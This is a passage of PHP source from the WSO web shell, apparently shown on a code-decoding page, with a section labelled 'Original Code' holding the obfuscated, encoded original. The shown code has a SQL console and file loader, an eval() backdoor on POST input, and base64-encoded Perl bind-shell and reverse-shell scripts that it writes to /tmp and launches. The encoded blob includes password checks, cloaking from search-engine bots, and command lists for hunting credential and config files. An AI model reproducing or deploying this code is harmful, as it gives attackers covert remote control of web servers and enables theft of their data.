						$line = 1;
						while($item = $db->fetch())	{
							if(!$title)	{
								echo '<tr>';
								foreach($item as $key => $value)
									echo '<th>'.$key.'</th>';
								reset($item);
								$title=true;
								echo '</tr><tr>';
								$line = 2;
							}
							echo '<tr class="l'.$line.'">';
							$line = $line==1?2:1;
							foreach($item as $key => $value) {
								if($value == null)
									echo '<td><i>null</i></td>';
								else
									echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
							}
							echo '</tr>';
						}
						echo '</table>';
					} else {
						echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
					}
				}
				echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
                if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
                    echo htmlspecialchars($_POST['p2']);
                echo "</textarea><br/><input type=submit value='Execute'>";
				echo "</td></tr>";
			}
			echo "</table></form><br/>";
            if($_POST['type']=='mysql') {
                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
                if($db->fetch())
                    echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
            }
			if(@$_POST['p1'] == 'loadfile') {
				$file = $db->loadFile($_POST['p2']);
				echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
			}
	} else {
        echo htmlspecialchars($db->error());
    }
	echo '</div>';
	wsoFooter();
}
function actionNetwork() {
	wsoHeader();
	$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
	$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
	echo "<h1>Network tools</h1><div class=content>
	<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
	<span>Bind port to /bin/sh [perl]</span><br/>
	Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form>
	<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
	<span>Back-connect  [perl]</span><br/>
	Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form><br>";
	if(isset($_POST['p1'])) {
		function cf($f,$t) {
			$w = @fopen($f,"w") or @function_exists('file_put_contents');
			if($w){
				@fwrite($w,base64_decode($t));
				@fclose($w);
			}
		}
		if($_POST['p1'] == 'bpp') {
			cf("/tmp/bp.pl",$bind_port_p);
			$out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
            sleep(1);
			echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bp.pl")."</pre>";
            unlink("/tmp/bp.pl");
		}
		if($_POST['p1'] == 'bcp') {
			cf("/tmp/bc.pl",$back_connect_p);
			$out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
            sleep(1);
			echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bc.pl")."</pre>";
            unlink("/tmp/bc.pl");
		}
	}
	echo '</div>';
	wsoFooter();
}
function actionRC() {
	if(!@$_POST['p1']) {
		$a = array(
			"uname" => php_uname(),
			"php_version" => phpversion(),
			"wso_version" => WSO_VERSION,
			"safemode" => @ini_get('safe_mode')
		);
		echo serialize($a);
	} else {
		eval($_POST['p1']);
	}
}
if( empty($_POST['a']) )
	if(isset($default_action) && function_exists('action' . $default_action))
		$_POST['a'] = $default_action;
	else
		$_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
	call_user_func('action' . $_POST['a']);
exit;

Did this file decode correctly?

Original Code

$VKGPOZ="JG\1061dGhfcGFzcyA9ICI2Yz\x454NmIwY2\x45\x34ZjFmY2JiO\107I0NGRmO\104gy\x4dTZl\x4dGNkN\x69I7CiRjb2xvc\x69A\x39ICIjZG\x59\061IjsKJGRlZm\x46\061bHRf\131\127\x4e0aW9uI\1040g\112\060ZpbGVz\124\127FuJzsKJGR\x6cZ\x6d\x461bH\x52fdXNlX2F\161YXg\147PSB0\x63\x6e\126\x6c\x4fwokZ\107VmYXVsdF9ja\x47Fyc2V0ID0gJ1dpbmRvd3MtMT\1111\115\x53\x637\103\147ppZighZ\x571\x77dHkoJF\071TRVJWRV\x4ab\x4a0hU\126FBfVVNFUl9B\x520VOV\x43d\144\113Skgew\157gICA\x67JH\x56zZXJBZ\062VudHM\147\120\123Bhcn\112heSgiR2\071v\x5a2x\x6cIiwg\111\x6c\116sdXJw\x49\151wgI\x6b1\x54Tk\112vdCI\163\x49C\112pYV9hcmN\157aXZlci\111sICJZYW5k\x5a\130giL\103AiU\155FtYmxlciIp\117wogI\x43\x41gaWY\157cHJlZ19tYXRjaCg\156LycgLiBpb\130Bs\x622RlKCd8JywgJHVz\132XJB\x5a2\x56udHMp\111C4gJy9\160Jyw\147JF9TR\x56JW\122VJb\x4a0\150UVFBfVVNF\125l9BR0VOVCddKSkgewogIC\101gICAgIGhl\131WRlcig\156SFRUUC\070\170L\x6aAgNDA0IE5vdCBGb\063V\165ZCcpO\x77ogICAgICAgIGV4\141\x58\121\x37\x43iAg\x49\x43B9Cn\x30KCkB\160bmlfc2V0KCdlcnJv\x63\x6c9sb2\143nLE\065VTEwpOwpAaW5\x70X\063N\154dCgn\x62\1079\156\x582V\x79cm9ycycsMC\x6b7\103kBpb\155\154\x66c2V0KC\x64tYX\x68\146ZXhlY3V0aW9\165X3\x52pb\127UnLD\101pO\x77\160Ac2V\x30\x583R\x70\x62WV\x66\142Glt\141\130\x51oMC\x6b7CkBkZW\x5apbmUoJ1dTT\x319WRVJTS\1259O\x4aywgJzIuNScp\117woKZnV\165Y3Rpb2\x34gd\x33NvTG9naW4oKSB\067C\x67\154kaWUo\111\x6axwc\x6dUg\131Wx\x70Z2\0649Y2Vud\107\126yPjxmb3JtIG1ldGhvZ\1041\x77b3N0Pl\102hc3N\x33b3JkO\x69A8aW5wdXQ\147dHlwZT1wYXNzd29\171ZCB\165YW\x31l\x50\130Bh\143\x33\115+\x50GlucHV\x30IH\x525cGU9c3V\151bW\x6c0IHZ\x68bHVlPSc+Pic\x2b\x50C9m\1423JtPjwvcHJlPiIpOwp9CgpmdW5j\144Glv\x62i\x42\130\12509zZXRjb29ra\x57UoJGssICR\062KSB7\x43iAgICAkX\060NPT\x30tJRVs\153a\x310\x67PS\x41\x6bdjs\113\x49CA\x67IHNldGNvb2\164p\x5aSgkayw\147JHYpO\x77p9Cgp\x70Zig\150ZW1wdHko\112GF1dGhf\143GF\x7acyk\x70IH\163KICAgIGlm\x4bGlzc2V\x30KCRfUE9TVFs\x6ecG\x46zcyd\x64KSAmJ\151Ao\142WQ1\113CRfUE\071TVF\x73ncGFzcy\x64d\113SA9PSAk\x59XV0a\1069wYXNzKSkKICA\x67ICA\x67IC\102\x58U09zZ\x58Rjb\0629\162aWUobWQ1KCRf\125\060VS\x56kVSWydIV\106\122Q\x580h\120U1QnXSk\x73IC\x52hdXRoX3B\150c3Mp\117\167oK\x49\x43AgIGlmICghaX\116z\132X\121oJF9\x44T09LSUVbbWQ1KCRfU0\x56\x53\x56\153VSWyd\111VFRQX0\x68PU1Q\x6eXSldKSB8fCAoJF9DT0\x39LSUVbbW\x51\x31KC\x52fU0VSVkVSW\171\x64IVFRQX0hP\1251QnXSldIC\1059ICRhd\x58R\x6f\1303Bh\x633MpKQog\x49\x43\x41\x67ICAg\111\x48dzb0x\x76Z\062lu\x4bC\1537Cn0KCmlmK\110\x4e0cn\x52vb\x479\x33ZXIoc3V\x69c3\122yKFBIUF9P\x55ywwLDMpKSA\x39P\123Aid2luIikK\x43SRvcyA9ICd3aW4nOwp\154bHNlCgkkb3\115\147PSAnb\155\1544J\x7a\x73KCiRzY\x57\x5a\x6c\13021vZGUgP\123\x42AaW5p\x582dl\144Cgn\1432Fm\132V\x39tb2RlJy\1537CmlmKCEkc\062F\155ZV9tb\x32RlK\121ogI\103A\x67ZX\112yb3Jf\x63mVwb3J0\141W5nKDA\160Ow\x6fKJGRpc2F\151b\x47Vf\132\156VuY\x33Rpb2\x35\x7aID0gQG\x6cua\126\071\156\132XQo\1122Rpc2Fib\107\126fZnVuY\063R\x70\x622\065z\x4ayk7CiRob21lX2N3ZCA9IEBnZ\x58Rjd\x32QoK\x54sKa\127YoaXNzZXQoJF9QT1NUW\x79djJ\0610pKQoJQGNoZGlyK\x43RfUE9TVFs\x6eYy\x64dKTs\x4bJGN3ZCA9\x49EBnZX\x52jd2\x51\x6fKTsKaWYoJG9zID09ICd3a\x574nK\x53B7CgkkaG9tZV\071jd2Q\147PSBzdHJfcmV\167bG\x46jZ\123giXFwiLCA\x69Ly\111sICRob21lX2\x4e3ZCk7CgkkY3dkID\060g\x633\x52yX3Jl\143GxhY2UoI\154xcIiw\147Ii8\x69LCAk\1313dk\113\124sKfQpp\x5aigkY3\144kW3\1160cm\170lb\151gkY3\x64k\x4bS0xX\x53AhPSAn\x4cy\143pC\147kkY3\144kI\10349IC\x63vJzsKCmlmKCFpc3\116ld\103\147\153X0N\x50T0tJRVt\164ZDUoJF9TRVJWRVJ\x62J0hUVFB\146SE9\x54VCdd\x4bSA\165ICdham\1064J10p\113QogICAgJF9DT09LSUVb\x62W\x511KCRfU\x30V\123\x56kVSWyd\111V\106RQ\x580\150\x50U\061QnXSkgLiAnYWph\145\103d\x64ID0gKGJv\1422\167pJGR\154ZmF\x31bHRfdXN\154X2FqYXg7Cg\x70pZi\147kb3Mg\120T0\x67J\063dpbicpCgk\153YWxpYXN\x6ccyA9IGFyc\155F5KAoJCS\112MaXN0IERpcmVjdG9ye\x53IgPT4\147\x49mRpciIsCiAgI\x43AJIkZpb\155\x51\147aW\065k\132Xguc\x47\x68w\111G\154uIG\1161\x63n\112lbnQgZGlyIiA9P\x69AiZG\x6cyIC9zIC93IC9iIGluZG\x564Ln\x42ocCIsCiA\x67IC\x41J\111k\132\160\x62mQ\147KmNvbmZpZyoucGhw\111G\154uI\107N1cnJlbnQgZGl\171Ii\1019PiA\151Z\x47l\x79\111C9zIC93\111C9\151ICpjb25maWc\x71L\x6eBocCIs\103\x69\101gICAJIlNob3cgYW\x4e0a\130ZlIG\116vbm5lY3R\x70\14225zIiA\x39PiAi\x62m\1260\143\x33Rhd\x43AtYW4iLAogI\x43AgCSJTaG93IHJ1bm5pbmc\x67c2\126yd\155lj\x5a\x58MiID\060+IC\x4auZ\x58Qgc\x33\122hcn\121iL\101og\111\x43AgCSJVc2VyI\107FjY\x32\0711\x62nRzIiA9Pi\x41ibmV0IH\126zZ\x58IiL\101ogICAgCS\x4aTaG93IGNvbX\1021\x64GV\x79cyIgPT4gIm5l\144CB2aWV3Ii\x77\x4bCQk\x69QVJQIFR\150Ymx\154\x49iA9Pi\x41\151YXJ\x77IC1hIi\167KCQkiSVAg\x5129uZmlnd\130\x4ahdGl\166\x62i\x49gPT4gIm\x6cwY2\x39uZ\155lnIC9hbGwiCgkpO\167\x70l\142\x48\116lCgkkY\127\x78pYX\x4e\x6cc\x79\1019IGFycmF5KAogI\101k\x4a\111k\170pc3\121gZGlyI\151A9P\151AibH\115gLWxoY\x53IsCgkJIm\170pc3Q\147ZmlsZSB\x68dH\x52y\x61W\x4a1dGVzIG9uIG\x45gTGlud\130ggc\x32V\152\x6225\153I\107V\064d\x47\x56uZ\107V\x6b\x49GZpbGUgc3lzdGVtIiA9PiAibH\116hdHR\x79IC12\131SIsCiAgCQkic2hvdy\x42vcGV\x75ZWQgcG9y\144\x48MiI\1040+ICJuZXRzdG\106\060IC1hbiB8IG\144yZXAgLWk\147bGlzdGVuIiwKIC\101gI\103A\x67ICAi\x63HJvY2V\172c\x79BzdGF\x30dXM\x69ID0+ICJwcyBhdXg\151LAoJ\x43SJGaW5kIiA9Pi\x41\151IiwKICAJCSJmaW\065kI\107F\x73\142CBzdW\x6ckI\x47Zp\x62GV\x7aIiA9P\x69\x41i\132m\154\165\x5aCAvIC\061\060eXBlIGYgL\x58\x42l\x63\x6d0gLTA0MDAwIC1\163\143yIsCi\x41gCQk\x69Z\x6dl\x75ZCBzd\x57lk\x49GZpbGV\172\x49GluIGN1cnJ\x6cb\x6eQgZ\107lyI\x69A9\x50iAi\132\x6dluZCAuIC1\060\x65XBlIGYgLXBlcm\060g\x4cT\x41\x30MDAwIC1scyIs\103i\101gC\x51kiZml\165ZCBh\142Gwg\x63\062dpZCB\x6daWx\154cyIgPT4gIm\x5ap\142\155QgLyA\x74dHlw\x5aSBmIC1wZX\112tIC0w\115\152\x41w\x4dC\x41t\x62HMiLAogI\101kJ\x49m\132\x70b\x6dQ\x67c\x32dpZCBmaWx\x6c\143yBpbiBjdXJyZW50IGR\x70\143\151Ig\120T4g\x49mZpbm\121\x67Li\101t\x64Hl\167\x5aSB\155IC1wZXJ\164IC\x30\x77M\152A\167MCAtbHM\151LAo\x67IA\x6bJImZpbm\121gY\x329uZmlnLmluYy5wa\110A\147Z\x6dl\163ZXMiI\1040\x2bICJmaW5\x6bIC8gLXR5cGU\x67\x5aiA\x74b\x6d\x46tZSBj\14225maWcuaW5\x6aLn\x42ocCIsCiAgC\x51ki\132\x6dl\x75ZCBjb25maWcqIGZpbGVz\111\x69A9PiAiZ\155\154u\132CAv\111C10\x65XBlI\x47Yg\114\1275\150bWUgXCJjb25ma\127cq\x58C\x49i\114Ao\147IAkJIm\132pb\155Qg\13129u\x5amln\x4biB\x6daW\170l\x63yBpbi\x42\152dXJyZW\0650IGR\160ci\x49g\120\124\064\147I\x6dZ\x70\142mQg\x4ciAtdHlwZSBmI\x431\165Y\1271lIFw\x69Y29uZml\x6eKlwiIiwKICAJCSJm\x61W\x35\153IGFsbCB3cml0Y\127J\x73ZSBmb2xk\132X\112zI\107FuZCBma\x57xlcyIgP\1244\147ImZp\x62mQgLy\101tc\107Vyb\123At\115iAt\x62HM\x69LAogIAkJImZpbmQg\x59WxsIHdyaXRhYmxlIGZvbGRlcnMgY\x575kI\x47Zpb\107VzIGluIG\x4e1\143nJlbnQg\132G\154\x79I\151A9PiAiZml\165ZCAuIC1wZ\x58JtIC0\171\111\1031s\143\x79IsC\151A\x67CQkiZml\x75ZCBhbGwgc2Vyd\x6dl\152ZS5wd2QgZml\x73ZXMiID\x30+ICJma\1275\x6bIC\x38gLX\x525cGUgZ\151A\x74b\155F\x74\132\x53B\x7a\132\x58J2aW\116\x6c\x4cnB\x33Z\103IsCiAgCQkiZm\x6cuZCBzZ\x58\x4a2\141\x57NlL\156B3ZCBmaWxlc\x79Bpb\x69B\152dXJyZW50\111G\122p\143\151Ig\x50T4gImZpb\155QgLiAtdHlwZSBmIC1\165YW1\154IHNl\143nZpY2U\x75cHdkIiwK\111C\x41\x4a\x43S\x4amaW5kI\107FsbCAuaHRw\131XNzd\062Qg\x5aml\x73ZXMiI\1040+IC\x4amaW5\153\x49C8gLXR5cGUg\x5aiAt\142m\106tZSAuaHRwYXNzd2QiL\101\157gIAkJ\x49m\132pb\155Qg\114mh0\x63GFzc\x33\144kIGZpbGVz\111GluI\107N1\x63nJl\142n\x51gZ\107l\x79IiA9P\151AiZm\x6c\x75ZCAuIC\0610eX\x42lIGY\x67L\127\065hbW\x55g\x4cmh\x30cGFzc\063\144kIiwKIC\x41J\103SJmaW5\x6bIGFsbCA\165YmFzaF9oaXN0b3J\x35IGZpbGVzIiA9PiAi\132mluZCAv\111C10\x65XBlIG\131gLW5\150\x62WUgLm\x4ah\x632hfaG\154zd\x479ye\x53IsC\x69A\147\103QkiZ\x6dl\165ZCAu\x59\155\106z\141F9oaXN0\1423J5IG\x5apbGVzIGluIGN1cnJl\142nQgZGlyIiA9\120iAiZmluZCAuIC10\145XBlIGY\147LW5hb\127UgLmJhc\062hfaGlzd\x479ye\123\111sCiAg\103QkiZmluZCBhbGwg\114mZldGN\x6fbWFpbHJ\x6aIGZpbG\x56zIi\1019P\151AiZml\x75\132CAvIC10eX\102lI\107YgLW5hbWUgLm\x5ald\x47\x4eobW\106pbHJj\111iw\x4bICA\x4aC\x53JmaW5k\111C5mZXRj\x61G1haWx\x79YyBma\x57xlcyBpbiBjdXJyZ\127\x350IGRpciIg\120T4\x67\111mZp\x62mQgLiAtd\x48lwZSBmI\103\x31uYW1lIC5mZXRjaG\061haWxyYy\111sCgkJIkxvY2\1060ZS\x49gPT4g\111iIs\x43i\101g\103\x51ki\142G9\152YXRlIGh0dH\102kLmN\x76\142mYgZml\163ZX\115iID0+\x49CJsb2Nh\x64GUgaHR0cGQuY29uZiIsCgkJImxvY2F0ZSB\062aG9zd\110\115\165Y29uZ\151B\155a\x57xl\143\171IgPT4gI\155xv\1312F0ZSB\x32aG9zdHMuY29uZiIsCgkJImxv\x592F0ZSBwcm9\x6dd\110Bk\x4cm\x4evbmYgZ\155l\x73ZXMiID0\053I\x43Jsb2NhdGUgcHJ\x76ZnRwZ\x435\x6ab25mIiw\x4bCQ\153ib\1079jYXRlIHBzeW\112uY\1715jb25m\111\x47Zpb\x47VzIiA9\120iA\151b\107\071jYXRl\x49HBzeWJ\165Yy5\x6ab25m\111i\x77KCQkibG9\152YXRlIG\x315\114\x6dNv\x62mYgZ\155\x6csZ\x58MiID\060+IC\x4asb\x32N\x68d\x47UgbXku\1312\071uZiI\x73C\x67kJImxvY2F0ZS\102hZG1pbi5\x77a\x48A\147Zmls\132\130M\151I\1040+\x49mx\166Y\062F\060ZSBhZG1p\x62i5waHAiL\x41oJCSJs\x622Nh\144\x47Ug\x592Z\156L\156BocCBmaWxlcyI\x67PT\064\x67I\155xv\1312F\x30ZSBjZmc\165cGhwIiwKCQkibG\071\152\x59\x58RlIG\116vbmYucGh\x77IGZp\142\107VzI\x69\1019PiAibG9jYXRlIG\x4evb\155Yuc\x47hwIiwK\103QkibG\x39jYXRlIGNvbm\132\x70Zy5kY\130Qg\132mlsZXMiID0+\111CJs\x62\062NhdGUgY29uZm\154nLm\x52hdCI\x73Cg\x6bJI\155xvY2F0\132SBjb2\x35m\141\127c\x75cGhwIG\132pb\x47VzIiA9\120i\101ibG9\x6aYXRl\111GN\166\x62mZp\x5ay5w\141HAiL\101oJCSJsb2Nhd\107UgY29\x75ZmlnLmlu\x59yB\155a\127\x78l\x63\x79IgPT4gImxvY2F0ZSB\x6ab2\x35m\x61\127cuaW5j\x49\151wKCQkibG9jYXRl\111GNvb\x6d\x5apZy\x35pbmMucGhwIiA9PiAi\142\x479jYXRlIGNv\142mZ\160Zy5pb\x6dMucG\x68\x77\x49iwKCQkibG9jYXRlIGNv\x62mZpZy5k\132WZh\x64Wx0LnB\x6fcCBmaWx\x6ccyI\x67\x50T4\147I\x6dxvY2F0ZS\102jb\062\065maWcu\x5aGVm\131XVsdC5w\x61\110Ai\114AoJ\103SJsb2NhdGUgY29uZmlnKi\x42m\x61\x57xlcyAiID\x30+\x49CJs\1422NhdGUg\13129uZml\156\x49\151wK\103Qkib\x479\152YXRlI\x435\x6ab25m\x49GZpbG\x56zIj0+ImxvY2\x460\x5aSAnL\x6d\x4evbmYnIiwKCQk\x69bG9jYXRlI\x43\x35wd2QgZmls\x5aXMiID0\053ICJ\163\x622\116hdGUgJy5w\1442\x51\156Iiw\x4bCQkibG9j\x59XRlIC5zcWwg\x5a\155l\x73\x5aXMiID0+ICJs\1422NhdG\x55gJy5z\143\x57wnIiwKCQ\x6bi\142G9jYXRlIC\065od\110Bhc3\x4e3Z\x43B\x6da\127x\x6ccyIgPT4gImxv\1312F0ZS\101\156Lmh0cG\x46zc\x33dkJ\171Is\103gkJI\155xvY2F0ZS\101\x75YmF\172aF9oaXN0\x623J5IGZpb\107\126\x7aI\151A\071PiAibG9j\131XRlICc\x75YmFz\141F9oaXN0b3\x4a5JyI\x73CgkJ\x49\x6d\170vY\x32F0\132\123A\165bXlzc\127x\146a\x47lzdG\071yeSB\155aWx\154\x63\171IgPT4gImxvY\062F\x30ZSAnLm15c\063FsX2hp\1433RvcnknIiwKCQki\x62G9j\x59X\122lIC5m\132XRjaG1h\141WxyYyBmaWxlcyIgPT4gImx\x76Y2F0\x5aSAnLmZ\154dG\x4eo\142W\x46\x70b\110\x4ajJyIsC\147kJImxvY2F0\x5aS\102i\x59\127\x4erdXAgZmls\x5aX\x4di\x49D0+\111CJs\x622N\x68\144GUgYmFja\x33\126wIiwKCQk\x69bG9j\131X\122\x6cIGR1bXAgZmlsZX\115i\x49D0+\111CJs\x622N\150dGUgZHV\x74c\103IsCgkJIm\170vY2F0\x5aSB\x77cml2IGZpb\x47VzIiA\071PiAib\x479\152YX\122lI\x48By\141XYiC\x67kpOw\157KZn\126\165Y\x33\x52pb24g\x643NvS\x47VhZGVyKCk\147\145\167oJ\141\x57YoZW1wdHkoJF9QT1\116UWy\144jaGFyc2V0\11210pKQ\x6f\x4aCSRfUE9\x54VFsnY\x32hhcnNl\x64CddID0\147\112\x45dMT0JBTFNbJ2Rl\x5amF1bHRf\x592hhcnN\154\144Cd\x64O\167o\112Z2\170vYmFsI\103Rjb2x\x76\x63jsKCWV\152a\x478gIjxodG1sP\x6axoZWFkPjxtZXRhI\107h0dHAtZXF1aXY9J0\x4evbnRlbn\x51tVHl\x77Z\123cg\13129ud\x47VudD0nd\107V4dC9\157dG\061\x73\117y\x42\152\x61GFyc\x32V0PSIgLiAkX\061B\x50\1251Rb\1122NoYXJzZXQnX\x53A\x75ICInPjx0a\130RsZ\x544iIC4gJF9TRVJWR\x56J\142J0hUVF\x42f\x53E9TVCd\144I\x43\x34gIi\x41tIFdTT\x79AiIC4gV1NP\1301ZFUl\116J\124\060\x34\x67LiI\x38L3RpdGxlP\x67o8c3R5bGU\053CmJvZHl7YmFja\x32dyb3Vu\x5aC1j\142\062xv\x63jojND\x51\x30O2\x4evb\1079y\117iNlMWUx\132TE7\x66Q\160i\1422\1225LHRkL\x48RoeyBmb\062\x350OiA5\143\110QgT\x48VjaWR\x68LFZlcmR\x68\142mE7bWFy\x5a2lu\x4f\x6aA\067dm\x56ydGl\152YWwtY\127xp\x5a\06246dG9wO2\x4e\166b\x479yO\151NlMWUxZTE7I\x480Kd\x47Fi\x62G\x55u\x61W5mb3sg\13129sb3\x496I\062ZmZjtiYWNrZ3Jv\x64W5kLWNv\142G9\171OiMyMjI7IH0Kc3\102hbi\170\x6fMS\170heyBjb\062xvcjo\147\x4aGNv\142\107\071yI\103FpbXBvcnR\150bnQ\x37IH0\x4bc3B\x68bn\x73gZm\x39udC\0613\x5aWl\156\x61HQ6IGJ\x76bGRl\x63jsgfQ\x70oMXsg\x59m\x39yZGVyL\x57\x78\154\x5a\x6eQ6NXB\064I\x48NvbG\154kI\103Rjb2xvcjt\x77\131WRka\1275nOi\101ycHggNXB4O2ZvbnQ6IDE0\143\x48Q\x67VmVyZGFuY\124\x74iYWNrZ\x33JvdW5kL\127\116vbG9yOiMy\x4djI7bWFyZ2lu\117jBw\145DsgfQpkaX\x59u\x5929udG\x56udHsgc\107FkZGluZzog\116XB4O21h\143\x6ddpb\x691s\132\x57Z0O\152V\167eDtiYWN\162Z3JvdW5kLW\x4evb\x47\071yOiMz\115zM7IH0KYXsgdG\1264d\x431kZ\127Nvcm\1060aW9u\117m5vbmU\067\111H\x30KYTpo\x623ZlcnsgdGV4dC1kZWNvcm\1060aW\x39\165O\x6eVuZGVybG\x6cuZTs\x67fQou\142W\167x\x65yBib3Jk\x5a\x58\x496MXB4IHNvbGl\x6b\x49CM\x30NDQ7cGFk\x5aG\154\165Zzo1cHg7\142WFyZ\x32luOj\1017b3Zl\x63m\132sb3c6IGF\x31dG87\x49H0K\114mJp\x5a2FyZWF7IHdpZ\110R\157OjEw\x4dCU\067\x61GVpZ2h0OjMwMH\x424Oy\1029CmlucHV0\114HRle\110RhcmVhLHN\x6cbGVjdHsgbWFyZ2luO\x6aA7Y2\071\163\1423I6I2\132mZjtiY\x57NrZ\063JvdW5kLW\x4e\166bG\x39y\117iM1N\x54\125\x37Ym\071\171ZG\126yOjFwe\x43B\x7ab2\x78p\132CAkY2\071sb3I7\x49\107\x5avb\156Q6ID\x6cw\144CBNb25vc3BhY2Us\x4a0\116v\x64X\112\160ZX\111gTmV3\x4a\172s\147fQp\155b3Jt\x65yBtYXJnaW46\x4d\110B4OyB\071Ci\x4e0b29sc1Ri\x62Hsgd\107V\064dC1\150b\107\154n\x62jpjZ\127\0650ZX\1117\x49H0KLn\x52\x76b2xzSW5\167eyB3aWR0aD\x6fgMz\101\167cH\x67gfQ\157ubWFpbiB0\x61Ht0\132Xh0\114WFsa\127d\165Omx\x6c\x5anQ7\131mFja2d\171b3VuZ\1031jb\062x\166\x63jojN\127U1ZTVlO3\060KLm1haW\064g\x64HI6aG92ZXJ7YmFja2dyb3\126uZC1\152b\062xvcjo\152NWU1ZTVlfQou\142DF7YmFja2dyb\x33VuZC1jb2xvcjojNDQ0fQo\x75b\x44J7YmFja2dyb3\x56uZC\x31jb\x32\x78vcj\157j\115\x7aMzfQpwcm\1267Zm9u\144C1\155Y\x571p\142Hk6Q291c\155ll\x63ixNb25vc3B\x68Y2U7fQ\1578L3N0eWxlPgo8c2NyaXB0\x50g\157\147ICAgd\x6d\106\x79IGNfID0gJyIgLi\102odG1\x73c3BlY\x32lhbGNoYXJzKCRHTE9CQUx\124Wydjd2Q\156XSkgLiAiJzs\x4b\111\x43\101gIH\x5ahciBh\x58yA9\111C\x63i\111C4ga\110Rtb\x48NwZWN\160\x59WxjaG\x46yc\171hAJ\1069QT1NUWydh\11210p\111C4iJwog\x49C\101\147dmF\x79I\107NoYXJzZXRfID0gJy\111gLiBodG1sc\x33BlY2l\150bGN\x6f\131XJzKEAk\x581BPU1RbJ2NoYXJzZXQnX\123kgLiInOw\x6f\x67I\103\101gdmFyI\x48AxXyA9\x49\x43c\151I\x434gKChzd\x48Jwb3MoQCRf\x55E9TVFsnc\104EnXS\x77iXG4iKSE9PWZhbHNl\113T8nJzp\157\x64\1071sc3Bl\x592lhbGNoYXJzKCRfUE9TVFsnc\x44EnXSx\x46TlR\146UV\126PVEVTK\123\x6bgLi\x49n\117\167ogIC\x41gdmFyIHA\171XyA9ICci\111\x43\064g\x4bChzd\x48Jwb3MoQ\103RfUE9TVFs\x6ecDIn\130SwiXG4iKSE9\120W\x5ahbHNlKT8\156\112\172p\x6fdG\061sc3BlY2lhbGNoYXJzKCRfUE9TV\x46\x73n\x63D\x49nX\x53\170FT\154RfU\126\x56PVEVT\x4bSkgLiInOwog\x49C\101g\x64mFyIHAzX\x79A9ICciIC4gKChzdHJwb3MoQCRf\125E\x39T\x56\x46sncDMnXSwi\130G\064iK\123E9PWZhbH\116lKT8nJzpo\x64G1sc3BlY2lh\x62G\116oYXJz\113CRfUE9\124VF\163ncDMn\130SxFT\154RfUV\126PVE\126TKSkgLiInOwo\x67ICA\147dmFyI\107Q\147PSBkb2N1bW\126udDsKC\127Z1\142mN\060aW9\165IHNldChh\114G\x4dsc\x44EscDIs\143\104Ms\x592hhc\156NldCkgewoJCWlmKGEh\120W\0651bGwpZC5t\132i\065hLnZhbHV\x6cP\x57E7ZWxzZS\x42kLm1m\114mEu\x64mFs